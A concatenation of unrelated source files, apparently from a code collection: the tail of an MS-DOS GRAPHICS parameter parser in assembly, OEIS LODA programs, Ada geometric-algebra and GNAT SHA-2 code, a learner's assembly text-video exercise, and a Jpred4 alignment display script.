substitution: ;AN000; DB 11 ; Size of this list ;AN000; DB 0 ; Reserved ;AN000; SAVE_SI DD ? ; Ptr to data item ;AN001; DB 1 ; Variable to be substitued: %1 ;AN000; DB 00010000B ; %1 is an ASCIIZ string left justifi;AN000;ed DB 0 ; Unlimited size for %1 ;AN000; DB 1 ; Minimum size is 1 character ;AN000; DB " " ; Delimiter is "space" ;AN000; ;AN000; ;===============================================================================;AN000; ; ;AN000; ; START OF EXECUTABLE CODE: ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; ;AN000; PARSE_PARMS_START: ;AN000; PUSH AX ;AN000; PUSH BX ;AN000; PUSH CX ;AN000; PUSH DX ;AN000; PUSH SI ;AN000; PUSH DI ;AN000; PUSH ES ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Set up addressibility for the parser ;AN000; ;-------------------------------------------------------------------------------;AN000; MOV SI,81H ; DS:SI := Command line parameters ;AN000; ; to be parsed ;AN000; PUSH CS ;AN000; POP ES ;AN000; LEA DI,PARMS ; ES:DI := Parms control block ;AN000; ;(deleted ;AN001;) XOR DX,DX ; CX,DX must be zero for the ;AN000; XOR CX,CX ; Initially, CX should be zero ;AN001; MOV AX,0 ; No error yet ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Parse FIRST argument ;AN000; ;-------------------------------------------------------------------------------;AN000; ;(deleted ;AN001;) CALL SYSPARSE ; Get one argument from the command line;AN000; CALL CALL_SYSPARSE ; Get one argument from the command line;AN001; ;(deleted ;AN001;) MOV BX,DX ; BX := Offset of result block ;AN000; .WHILE <AX EQ RC_NO_ERROR> ; While there is no error ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Get the argument: ;AN000; ;-------------------------------------------------------------------------------;AN000; .SELECT ;AN000; .WHEN <BX EQ <OFFSET ?_RESULT>> MOV [ERROR_DEVICE], STDOUT ; output to stdout MOV AX, MSG_OPTIONS_FIRST ; number of first 'option' msg XOR CX, CX ; specify no subst PRMORE: CALL DISP_ERROR ; DISP_ERROR is a mistaken name ; in this case. I use it because it is the existing routine for printing out ; messages, and it is named so because the only messages graphics would ; display are error messages. Hence disp_error writes out to STDERR. I ; could write another message-display interface to sysdispmsg, but this one ; works fine, I just wanted to note that the name disp_error gives the wrong ; impression here. INC AX CMP AX, MSG_OPTIONS_LAST + 1 ; another msg to do JB PRMORE MOV [ERROR_DEVICE], STDERR ; set output back to stderr STC ; pretend to have an error so ; that graphics now cleans up and goes home without further action JMP PPST .WHEN <BX EQ <OFFSET TYPE_RESULT>> ;AN000; CALL GET_TYPE ;AN000; .WHEN <BX EQ <OFFSET PROFILE_RESULT>> ;AN000; CALL GET_PROFILE_NAME ;AN000; .WHEN <BX EQ <OFFSET LCD_RESULT >> ;AN000; CALL GET_LCD ;AN000; .WHEN <BX EQ <OFFSET R_RESULT>> ;AN000; CALL GET_REVERSE ;AN000; .WHEN <BX EQ <OFFSET B_RESULT>> ;AN000; CALL GET_BACKGROUND ;AN000; .WHEN <BX EQ <OFFSET PRINTBOX_RESULT>> ;AN000; CALL GET_PRINTBOX_ID ;AN000; .OTHERWISE ;AN000; ;-------No result block was returned by the parser ;AN000; STC ; Set error ;AN000; .ENDSELECT ;AN000; .LEAVE C ; IF error occurred while parsing the ;AN000; ; previous argument, exit the loop: ;AN000; ; stop parsing the command line. ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Parse next argument: ;AN000; ;-------------------------------------------------------------------------------;AN000; ;(deleted ;AN001;) XOR DX,DX ; ;AN000; ;(deleted ;AN001;) CALL SYSPARSE ; Get one argument from the command line;AN000; CALL CALL_SYSPARSE ; Get one argument from the command line;AN001; ;(deleted ;AN001;) MOV BX,DX ; ES:BX := Offset of result block ;AN000; .ENDWHILE ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Check for error, select and display an error message ;AN000; ;-------------------------------------------------------------------------------;AN000; .IF <AL NE RC_EOL> ; IF an error occurred ;AN000; .THEN ; then, display error message ;AN000; MOV CX,0 ; Assume no substitutions ;AN000; .SELECT ; (CX := Number of substitutions ;AN000; .WHEN <AL EQ RC_TOO_MANY> ; When RC = Too many parameters ;AN000; MOV AX,TOO_MANY_PARMS ; (AL = Message number to display) ;AN000; .WHEN <AL EQ RC_Not_In_Val> ; When RC = Not in value list provided ;AN000; MOV AX,VALUE_NOT_ALLOWED ; (AL = Message number to display) ;AN000; .WHEN <AL EQ RC_Not_In_Sw> ; When RC = Not in switch list provided ;AN000; MOV CX,1 ; 1 substitution in this message ;AN000; MOV BYTE PTR [SI],0 ; PUT NUL AT END OF THIS PARM ;AN001; LEA SI,SUBLIST ; DS:[SI]:="Invalid parm" Substitution;AN000; list ;(deleted ;AN001;) LES DX,ES:[BX+4] ; ES:DX := Offset of offending parm. ;AN000; ;(deleted ;AN001;) MOV [SI]+2,DX ; Store offset to this offender in the;AN000; MOV [SI]+4,ES ; substitution list control block ;AN000; MOV AX,INVALID_PARM ; AL := 'Invalid parameter' msg number;AN000; .WHEN <AL EQ RC_INVLD_COMBINATION> ; When RC = Invalid combination of parms;AN000; MOV AX,INVALID_COMBINATION ; (AL = Message number to display) ;AN000; .WHEN <AL EQ RC_DUPLICATE_PARMS> ; When RC = Invalid combination of parms;AN000; MOV AX,DUPLICATE_PARM ; (AL = Message number to display) ;AN000; .OTHERWISE ; ;AN000; MOV AX,FORMAT_NOT_CORRECT ; RC = Anything else, tell the user ;AN000; ; something is wrong with his ;AN000; .ENDSELECT ; command line. ;AN000; CALL DISP_ERROR ; Display the selected error message ;AN000; STC ; Indicate parse error occurred ;AN000; .ENDIF ;AN000; ;AN000; PPST: POP ES ;AN000; POP DI ;AN000; POP SI ;AN000; POP DX ;AN000; POP CX ;AN000; POP BX ;AN000; POP AX ;AN000; RET ; Return to GRAPHICS_INSTALL ;AN000; ;AN000; PARSE_PARMS ENDP ;AN000; CALL_SYSPARSE PROC NEAR ;COMMON INVOCATION OF SYSPARSE ;AN001; ;INPUT: - CX=ORDINAL VALUE ;AN001; ; DS:SI=WHERE COMMAND LINE IS, SAVED IN "SAVE_SI" ;AN001; ; ES:DI=WHERE PARMS DESCRIPTOR BLOCK IS ;AN001; ;OUTPUT: CX=NEW ORDINAL VALUE ;AN001; ; BX=OFFSET OF RESULT BLOCK, IF ONE IS RETURNED ;AN001; ; SI=OFFSET OF CHAR BEYOND PARSED PARM IN COMMAND LINE ;AN001; ;AN001; XOR DX,DX ;CLEAR DX FOR PARSER ;AN001; MOV WORD PTR SAVE_SI,SI ;REMEMBER WHERE TO START LOOKING ;AN001; CALL SYSPARSE ;GO PARSE THE NEXT PARM ;AN001; ;AN001; MOV BX,DX ; BX := Offset of result block ;AN001; RET ;RETURN TO CALLER ;AN001; CALL_SYSPARSE ENDP ;AN001; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PROCEDURE_NAME: GET_PROFILE ;AN000; ; ;AN000; ; INPUT: ES:[BX] := Result block ;AN000; ; ;AN000; ; OUTPUT: PROFILE_PATH = The profile file name and path (ASCIIZ string) ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; GET_PROFILE_NAME PROC ;AN000; PUSH AX ;AN000; PUSH BX ;AN000; PUSH DX ;AN000; PUSH SI ;AN000; PUSH DI ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Get the name of the profile path found on the command line: ;AN000; ;-------------------------------------------------------------------------------;AN000; MOV DI,ES:[BX+4] ; DI := Offset of filename found ;AN000; XOR BX,BX ; BX := Byte index ;AN000; MOV SI,OFFSET PROFILE_PATH ; [BX][SI] := Where to store it ;AN000; ;AN000; .IF <<BYTE PTR [DI]> NE 0> ; Don't copy a NULL parm ;AN000; .REPEAT ; While not end of path name (NULL terminated) ;AN000; MOV AL,[BX][DI] ; Copy the byte (including the NULL) ;AN000; MOV [BX][SI],AL ;AN000; INC BX ; Get next one ;AN000; .UNTIL <<BYTE PTR [BX-1][DI]> EQ 0> ; ;AN000; .ENDIF ;AN000; ;AN000; POP DI ;AN000; POP SI ;AN000; POP DX ;AN000; POP BX ;AN000; POP AX ;AN000; CLC ;AN000; RET ;AN000; GET_PROFILE_NAME ENDP ;AN000; ;AN000; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PROCEDURE_NAME: GET_TYPE ;AN000; ; ;AN000; ; INPUT: ES:[BX] := Result block ;AN000; ; PRINTER_TYPE_LENGTH := Maximum length for the printer type string ;AN000; ; ;AN000; ; OUTPUT: PRINTER_TYPE_PARM = ASCIIZ string containing ;AN000; ; the Printer type. ;AN000; ; AX = Error code ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; GET_TYPE PROC ;AN000; PUSH BX ;AN000; PUSH CX ;AN000; PUSH SI ;AN000; PUSH DI ;AN000; ;AN000; ;---------------------------------------------------------------------- ;AN000; ; Overwrite the DEFAULT TYPE with the type found on the command line ;AN000; ;---------------------------------------------------------------------- ;AN000; MOV SI,ES:[BX+4] ; DS:SI := Offset of printer type found ;AN000; .IF <<BYTE PTR [SI]> NE 0> ; Do not copy an empty string ;AN000; .THEN ; ;AN000; MOV CL,PRINTER_TYPE_LENGTH ; CX := Maximum number of bytes ;AN000; XOR CH,CH ; to copy ;AN000; MOV DI,OFFSET PRINTER_TYPE_PARM; ES:DI := Where to store it ;AN000; REP MOVSB ; Copy the string ;AN000; ;---------------------------------------------------------------------- ;AN000; ; Verify that the string supplied is not too long: ;AN000; ;---------------------------------------------------------------------- ;AN000; .IF <<BYTE PTR [DI-1]> EQ 0> ; If the last byte is a null ;AN000; .THEN ; then, the string was not longer ;AN000; ; than the maximum ;AN000; CLC ; Clear the carry flag = No error ;AN000; .ELSE ; else, string provided is too long ;AN000; MOV AX,RC_Not_In_Sw ; Error := RC for Invalid parm ;AN000; STC ; Set error ;AN000; .ENDIF ; ENDIF string too long ;AN000; .ENDIF ; ENDIF string provided ;AN000; ;AN000; GET_TYPE_END: ;AN000; POP DI ;AN000; POP SI ;AN000; POP CX ;AN000; POP BX ;AN000; RET ;AN000; GET_TYPE ENDP ;AN000; ;AN000; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PROCEDURE_NAME: GET_REVERSE ;AN000; ; ;AN000; ; INPUT: ES:[BX] := Result block ;AN000; ; SWITCH_PARSED := The command line switches parsed so far (bit mask) ;AN000; ; ;AN000; ; OUTPUT: CS:[BP].SWITCHES (Bit mask in the Shared data area) is updated ;AN000; ; with the value of the switch found. ;AN000; ; GOT_R is set in SWITCH_PARSED ;AN000; ; AX := Error message number. ;AN000; ; CARRY FLAG IS SET IF ERROR FOUND ;AN000; ; ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; GET_REVERSE PROC ;AN000; ;AN000; TEST SWITCH_PARSED,GOT_R ; If already parsed this switch ;AN000; JNZ DUPLICATE_R ; then, error ;AN000; OR SWITCH_PARSED,GOT_R ; else, say we parsed it. ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Set the Reverse switch in the Shared data area ;AN000; ;-------------------------------------------------------------------------------;AN000; OR CS:[BP].SWITCHES,REVERSE_SW ; Set the command line switch ;AN000; CLC ; Clear the error flag ;AN000; JMP SHORT GET_REVERSE_END ; Return ;AN000; ;AN000; DUPLICATE_R: ; Already got this switch ;AN000; MOV AX,RC_DUPLICATE_PARMS ; AX := error message number ;AN000; STC ; SET ERROR ;AN000; GET_REVERSE_END: ;AN000; ;AN000; RET ;AN000; GET_REVERSE ENDP ;AN000; ;AN000; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PROCEDURE_NAME: GET_BACKGROUND ;AN000; ; ;AN000; ; INPUT: ES:[BX] := Result block ;AN000; ; SWITCH_PARSED := The command line switches parsed so far (bit mask) ;AN000; ; ;AN000; ; OUTPUT: CS:[BP].SWITCHES (Bit mask in the Shared data area) is updated ;AN000; ; with the value of the switch found. ;AN000; ; ;AN000; ; GOT_B is set in SWITCH_PARSED ;AN000; ; AX := Error message number. ;AN000; ; CARRY FLAG IS SET IF ERROR FOUND ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; GET_BACKGROUND PROC ;AN000; ;AN000; TEST SWITCH_PARSED,GOT_B ; If already parsed this switch ;AN000; JNZ DUPLICATE_B ; then, error ;AN000; OR SWITCH_PARSED,GOT_B ; else, say we parsed it. ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Set the switch in the Shared data area ;AN000; ;-------------------------------------------------------------------------------;AN000; OR CS:[BP].SWITCHES,BACKGROUND_SW ; Set the command line switch ;AN000; CLC ; Clear the error flag ;AN000; JMP SHORT GET_BACKGROUND_END ; Return ;AN000; ;AN000; DUPLICATE_B: ; Already got this switch ;AN000; MOV AX,RC_DUPLICATE_PARMS ; AX := error message number ;AN000; STC ; SET ERROR ;AN000; ;AN000; GET_BACKGROUND_END: ;AN000; RET ;AN000; GET_BACKGROUND ENDP ;AN000; ;AN000; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PROCEDURE_NAME: GET_LCD ;AN000; ; ;AN000; ; INPUT: SWITCH_PARSED := The command line switches parsed so far (bit mask) ;AN000; ; ;AN000; ; OUTPUT: PRINTBOX_ID_PTR := Point to /LCD ASCIIZ string. ;AN000; ; GOT_B is set in SWITCH_PARSED ;AN000; ; AX := Error message number. ;AN000; ; CARRY FLAG IS SET IF ERROR FOUND ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Data Referenced: ;AN000; ; ;AN000; ; LCD_BOX = An ASCIIZ string representing the LCD printbox id. ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; GET_LCD PROC ;AN000; ;AN000; TEST SWITCH_PARSED,GOT_LCD ; If already parsed this switch ;AN000; JNZ DUPLICATE_LCD ; then, error: Duplicate switch ;AN000; TEST SWITCH_PARSED,GOT_PRINTBOX ; If printbox already mentioned ;AN000; JNZ BAD_COMBINATION ; then, error: Invalid combination ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Set the pointer to the print box id to "LCD" ;AN000; ;-------------------------------------------------------------------------------;AN000; MOV AX,OFFSET LCD_BOX ; PRINTBOX id := LCD ;AN000; MOV PRINTBOX_ID_PTR,AX ; Save pointer to this printbox id. ;AN000; OR SWITCH_PARSED,GOT_LCD ; Say we found this switch ;AN000; CLC ; Clear the error flag ;AN000; JMP SHORT GET_LCD_END ; Return ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; /LCD was already parsed: ;AN000; ;-------------------------------------------------------------------------------;AN000; DUPLICATE_LCD: ; Already got this switch ;AN000; MOV AX,RC_DUPLICATE_PARMS ; AX := error message number ;AN000; STC ; SET ERROR ;AN000; JMP SHORT GET_LCD_END ; Return ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; /PRINTBOX was already parsed: ;AN000; ;-------------------------------------------------------------------------------;AN000; BAD_COMBINATION: ; /LCD and /PRINTBOX invalid at same ;AN000; MOV AX,RC_INVLD_COMBINATION ; time, Set the error flag ;AN000; STC ; AX := Error code ;AN000; ;AN000; GET_LCD_END: ;AN000; RET ;AN000; GET_LCD ENDP ;AN000; ;AN000; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PROCEDURE_NAME: GET_PRINTBOX ;AN000; ; ;AN000; ; INPUT: ES:[BX] := Result block ;AN000; ; SWITCH_PARSED := The command line switches parsed so far (bit mask) ;AN000; ; ;AN000; ; OUTPUT: DEFAULT_BOX := Is overwritten to contain the printbox id. found on ;AN000; ; the command line. ;AN000; ; GOT_PRINTBOX is set in SWITCH_PARSED ;AN000; ; AX := Error message number. ;AN000; ; CARRY FLAG IS SET IF ERROR FOUND ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; GET_PRINTBOX_ID PROC ;AN000; ;AN000; PUSH CX ;AN000; PUSH SI ;AN000; PUSH DI ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; Test for error in the printbox statement: ;AN000; ;-------------------------------------------------------------------------------;AN000; TEST SWITCH_PARSED,GOT_LCD ; If /LCD already mentioned ;AN000; JNZ BAD_COMBINATION2 ; then, error: Invalid combination ;AN000; TEST SWITCH_PARSED,GOT_PRINTBOX ; If already parsed this switch ;AN000; JNZ DUPLICATE_PRINTBOX ; then, error: Duplicate switch ;AN000; ;AN000; MOV DI,ES:[BX+4] ; DI := Offset of switch VALUE found;AN000; ;AN000; .IF <<BYTE PTR [DI]> EQ 0> ; IF no printbox id ;AN000; .THEN ; then, ;AN000; ;----------------------------------------------------------------------;AN000; ; No printbox id. was found: ;AN000; ;----------------------------------------------------------------------;AN000; MOV AX,FORMAT_NOT_CORRECT ; AX := Error code ;AN000; STC ; Set the error flag ;AN000; .ELSE ; else, ;AN000; OR SWITCH_PARSED,GOT_PRINTBOX; Say we found this switch ;AN000; ;----------------------------------------------------------------------;AN000; ; Overwrite DEFAULT_BOX with the Printbox id. found ;AN000; ;----------------------------------------------------------------------;AN000; MOV CL,PRINTBOX_ID_LENGTH ; CX := Maximum number of bytes ;AN000; XOR CH,CH ; to copy ;AN000; MOV SI,DI ; [DS][SI] := Value found ;AN000; MOV DI,OFFSET DEFAULT_BOX ; [ES][DI] := Default value ;AN000; REP MOVSB ; Copy the string ;AN000; ;----------------------------------------------------------------------;AN000; ; Verify that the Printbox id. string is not too long: ;AN000; ;----------------------------------------------------------------------;AN000; .IF <<BYTE PTR [DI-1]> EQ 0> ; If the last byte is a null ;AN000; .THEN ; then, the string was not longer ;AN000; ; than the maximum ;AN000; CLC ; Clear the carry flag = No error ;AN000; .ELSE ; else, string provided is too long ;AN000; MOV AX,RC_Not_In_Sw ; Error := RC for Invalid parm ;AN000; STC ; Set error ;AN000; .ENDIF ; ENDIF printbox id. too long ;AN000; .ENDIF ; ENDIF printbox id. provided ;AN000; ;AN000; JMP SHORT GET_PRINTBOX_END ; Return ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; /PRINTBOX was already parsed: ;AN000; ;-------------------------------------------------------------------------------;AN000; DUPLICATE_PRINTBOX: ; Already got this switch ;AN000; MOV AX,RC_DUPLICATE_PARMS ; AX := error message number ;AN000; STC ; SET ERROR ;AN000; JMP SHORT GET_PRINTBOX_END ; Return ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; /LCD was already parsed: ;AN000; ;-------------------------------------------------------------------------------;AN000; BAD_COMBINATION2: ; /LCD and /PRINTBOX invalid at same;AN000; MOV AX,RC_INVLD_COMBINATION ; time, Set the error flag ;AN000; STC ; AX := Error code ;AN000; ;AN000; GET_PRINTBOX_END: ;AN000; POP DI ;AN000; POP SI ;AN000; POP CX ;AN000; RET ;AN000; GET_PRINTBOX_ID ENDP ;AN000; ;AN000; CODE ENDS ;AN000; END ;AN000; 
oeis/132/A132687.asm
neoneye/loda-programs
11
28917
<reponame>neoneye/loda-programs ; A132687: a(n) = binomial(2^n + 3*n - 1, n). ; 1,4,36,560,17550,1370754,324540216,267212177232,822871715492970,9728874233306696390,442491588454024774291770,76919746769405407508866898400,50743487119356450255156023756871000,126415236283916101313125990884354223189400,1186479248550609439690028516974695999881102470800,41937348033126267064205380598053220822587866918116351520,5587868277723033627599527400515075162631932611931658947133299530,2811678228363530660594019304680436006853933008807992769768561449596859054 mov $1,1 sub $1,$0 sub $1,$0 sub $1,$0 mov $2,2 pow $2,$0 sub $2,$1 bin $2,$0 mov $0,$2
ga_ref_impl/src/multivector_type_base.adb
rogermc2/GA_Ada
3
22306
package body Multivector_Type_Base is -- ---------------------------------------------------------------------------- -- procedure Set_Grade_Usage (Base : in out Type_Base; GU : GA_Maths.Grade_Usage) is -- theBase : Type_Base; -- begin -- theBase.M_GU := GU; -- end Set_Grade_Usage; -- ---------------------------------------------------------------------------- -- procedure Set_M_Type (Base : in out Type_Base; theType : Object_Type) is -- begin -- Base.M_Type := theType; -- end Set_M_Type; -- ---------------------------------------------------------------------------- -- procedure Set_Parity (Base : in out Type_Base; Par : Parity) is -- begin -- Base.M_Parity := Par; -- end Set_Parity; -- ---------------------------------------------------------------------------- -- procedure Set_Top_Grade (Base : in out Type_Base; Grade :Integer) is -- begin -- Base.M_Top_Grade := Grade; -- end Set_Top_Grade; -- ---------------------------------------------------------------------------- procedure Set_Type_Base (Base : in out MV_Typebase; Zero : boolean; Object : Object_Type; Grade : integer; GU : GA_Maths.Grade_Usage; Par : Parity := No_Parity) is begin Base.M_Zero := Zero; Base.M_Type := Object; Base.M_Grade := Grade; Base.M_Grade_Use := GU; Base.M_Parity := Par; end Set_Type_Base; -- ---------------------------------------------------------------------------- end Multivector_Type_Base;
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/g-shsh64.adb
JCGobbi/Nucleo-STM32G474RE
0
20836
<gh_stars>0 ------------------------------------------------------------------------------ -- -- -- GNAT LIBRARY COMPONENTS -- -- -- -- G N A T . S E C U R E _ H A S H E S . S H A 2 _ 6 4 -- -- -- -- B o d y -- -- -- -- Copyright (C) 2009-2021, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ package body GNAT.Secure_Hashes.SHA2_64 is use Interfaces; ------------ -- Sigma0 -- ------------ function Sigma0 (X : Word) return Word is begin return Rotate_Right (X, 28) xor Rotate_Right (X, 34) xor Rotate_Right (X, 39); end Sigma0; ------------ -- Sigma1 -- ------------ function Sigma1 (X : Word) return Word is begin return Rotate_Right (X, 14) xor Rotate_Right (X, 18) xor Rotate_Right (X, 41); end Sigma1; -------- -- S0 -- -------- function S0 (X : Word) return Word is begin return Rotate_Right (X, 1) xor Rotate_Right (X, 8) xor Shift_Right (X, 7); end S0; -------- -- S1 -- -------- function S1 (X : Word) return Word is begin return Rotate_Right (X, 19) xor Rotate_Right (X, 61) xor Shift_Right (X, 6); end S1; end GNAT.Secure_Hashes.SHA2_64;
asm-step-by-step/src/vid.asm
jsanders/work-throughs
5
10360
<reponame>jsanders/work-throughs<filename>asm-step-by-step/src/vid.asm ; Simple text-based video using a buffer and `write` syscall SECTION .data EOL equ 0x0a SPACE equ 0x20 HBAR equ 0xc4 ; Replacement for unprintable characters Reset db 27,"[2J",27,"[01;01H" ; Escape sequence for clearing screen ResetLen equ $-Clear SECTION .bss COLS equ 81 ; Line length + 1 for EOL ROWS equ 25 ; Number of lines VidBuf resb COLS*ROWS ; Buffer for our screen SECTION .text GLOBAL _start %macro WriteStdout 2 ; %1 = Address of buffer to write; %2 = Length of buffer pushad mov eax, 4 ; `write` mov ecx, %1 ; the buffer mov edx, %2 ; of this length mov ebx, 1 ; to stdout int 0x80 popad ; Clear the text buffer with spaces ; In: Nothing ; Returns: Nothing ; Modifies: VidBuf, DF ClearVid: push eax push ecx push edi cld ; Clear DF mov al, SPACE ; Space char to "clear" buf with mov edi, VidBuf ; Destination is the video buffer mov ecx, COLS*ROWS ; Amount to clear rep stosb ; Print chars into the buffer ; Buffer is full of spaces, re-insert newlines mov edi, VidBuf ; Point destination back to buffer mov ecx, ROWS ; Repeat for each row .printEol: add edi, COLS-1 ; Move to end of current row mov byte [edi], EOL ; Replace with EOL character loop .printEol pop edi pop ecx pop eax ret ; Write a string into a text buffer aat 1-based x,y position ; In: Address of string in esi ; X-position in ebx ; Y-position in eax ; Number of chars in ecx ; Returns: Nothing ; Modifies: VidBuf, DF WriteStr: push eax push ebx push ecx push edi cld ; Clear DF mov edi, VidBuf ; Write to VidBuf ; Adjustments to make up for 1-based positions dec eax dec ebx ; Determine Y offset mov ah, COLS mul ah ; Multiply al by ah
programs/oeis/047/A047531.asm
neoneye/loda
22
1526
; A047531: Numbers that are congruent to {2, 3, 7} mod 8. ; 2,3,7,10,11,15,18,19,23,26,27,31,34,35,39,42,43,47,50,51,55,58,59,63,66,67,71,74,75,79,82,83,87,90,91,95,98,99,103,106,107,111,114,115,119,122,123,127,130,131,135,138,139,143,146,147,151,154,155,159,162,163,167,170,171,175,178,179,183,186,187,191,194,195,199,202,203,207,210,211,215,218,219,223,226,227,231,234,235,239,242,243,247,250,251,255,258,259,263,266 mul $0,2 add $0,1 mov $1,$0 lpb $1 add $0,1 trn $1,2 mov $2,$1 trn $1,1 lpe sub $0,$2
data/jpred4/jp_batch_1613899824__PwSkIMV/jp_batch_1613899824__PwSkIMV.als
jonriege/predict-protein-structure
0
418
SILENT_MODE BLOCK_FILE jp_batch_1613899824__PwSkIMV.concise.blc MAX_NSEQ 876 MAX_INPUT_LEN 878 OUTPUT_FILE jp_batch_1613899824__PwSkIMV.concise.ps PORTRAIT POINTSIZE 8 IDENT_WIDTH 12 X_OFFSET 2 Y_OFFSET 2 DEFINE_FONT 0 Helvetica DEFAULT DEFINE_FONT 1 Helvetica REL 0.75 DEFINE_FONT 7 Helvetica REL 0.6 DEFINE_FONT 3 Helvetica-Bold DEFAULT DEFINE_FONT 4 Times-Bold DEFAULT DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT # DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose DEFINE_COLOUR 4 1 1 0 # Yellow DEFINE_COLOUR 5 1 0 0 # Red DEFINE_COLOUR 7 1 0 1 # Purple DEFINE_COLOUR 8 0 0 1 # Blue DEFINE_COLOUR 9 0 1 0 # Green DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix) DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand) NUMBER_INT 10 SETUP # # Highlight specific residues. # Avoid highlighting Lupas 'C' predictions by # limiting the highlighting to the alignments Scol_CHARS C 1 1 240 865 4 Ccol_CHARS H ALL 5 Ccol_CHARS P ALL 8 SURROUND_CHARS LIV ALL # # Replace known structure types with whitespace SUB_CHARS 1 866 240 875 H SPACE SUB_CHARS 1 866 240 875 E SPACE SUB_CHARS 1 866 240 875 - SPACE STRAND 14 869 21 COLOUR_TEXT_REGION 14 869 21 869 51 STRAND 27 869 35 COLOUR_TEXT_REGION 27 869 35 869 51 STRAND 40 869 43 COLOUR_TEXT_REGION 40 869 43 869 51 STRAND 55 869 61 COLOUR_TEXT_REGION 55 869 61 869 51 STRAND 71 869 79 COLOUR_TEXT_REGION 71 869 79 869 51 STRAND 109 869 111 COLOUR_TEXT_REGION 109 869 111 869 51 STRAND 126 869 132 COLOUR_TEXT_REGION 126 869 132 869 51 STRAND 146 869 152 COLOUR_TEXT_REGION 146 869 152 869 51 STRAND 192 869 196 COLOUR_TEXT_REGION 192 869 196 869 51 STRAND 200 869 208 COLOUR_TEXT_REGION 200 869 208 869 51 STRAND 222 869 225 COLOUR_TEXT_REGION 222 869 225 869 51 HELIX 156 869 159 COLOUR_TEXT_REGION 156 869 159 869 50 HELIX 230 869 238 COLOUR_TEXT_REGION 230 869 238 869 50 STRAND 14 874 21 COLOUR_TEXT_REGION 14 874 21 874 51 STRAND 27 874 35 COLOUR_TEXT_REGION 27 874 35 874 51 STRAND 40 874 45 COLOUR_TEXT_REGION 40 874 45 874 51 STRAND 54 874 61 COLOUR_TEXT_REGION 54 874 61 874 51 STRAND 70 874 79 COLOUR_TEXT_REGION 70 874 79 874 51 STRAND 109 874 112 COLOUR_TEXT_REGION 109 874 112 874 51 STRAND 125 874 132 COLOUR_TEXT_REGION 125 874 132 874 51 STRAND 145 874 152 COLOUR_TEXT_REGION 145 874 152 874 51 STRAND 172 874 174 COLOUR_TEXT_REGION 172 874 174 874 51 STRAND 193 874 195 COLOUR_TEXT_REGION 193 874 195 874 51 STRAND 199 874 208 COLOUR_TEXT_REGION 199 874 208 874 51 STRAND 222 874 225 COLOUR_TEXT_REGION 222 874 225 874 51 HELIX 92 874 97 COLOUR_TEXT_REGION 92 874 97 874 50 HELIX 231 874 238 COLOUR_TEXT_REGION 231 874 238 874 50 STRAND 14 875 21 COLOUR_TEXT_REGION 14 875 21 875 51 STRAND 27 875 34 COLOUR_TEXT_REGION 27 875 34 875 51 STRAND 40 875 42 COLOUR_TEXT_REGION 40 875 42 875 51 STRAND 59 875 60 COLOUR_TEXT_REGION 59 875 60 875 51 STRAND 73 875 79 COLOUR_TEXT_REGION 73 875 79 875 51 STRAND 127 875 131 COLOUR_TEXT_REGION 127 875 131 875 51 STRAND 148 875 151 COLOUR_TEXT_REGION 148 875 151 875 51 STRAND 191 875 196 COLOUR_TEXT_REGION 191 875 196 875 51 STRAND 203 875 207 COLOUR_TEXT_REGION 203 875 207 875 51 STRAND 222 875 224 COLOUR_TEXT_REGION 222 875 224 875 51 HELIX 156 875 161 COLOUR_TEXT_REGION 156 875 161 875 50 HELIX 230 875 238 COLOUR_TEXT_REGION 230 875 238 875 50
oeis/340/A340806.asm
neoneye/loda-programs
11
14179
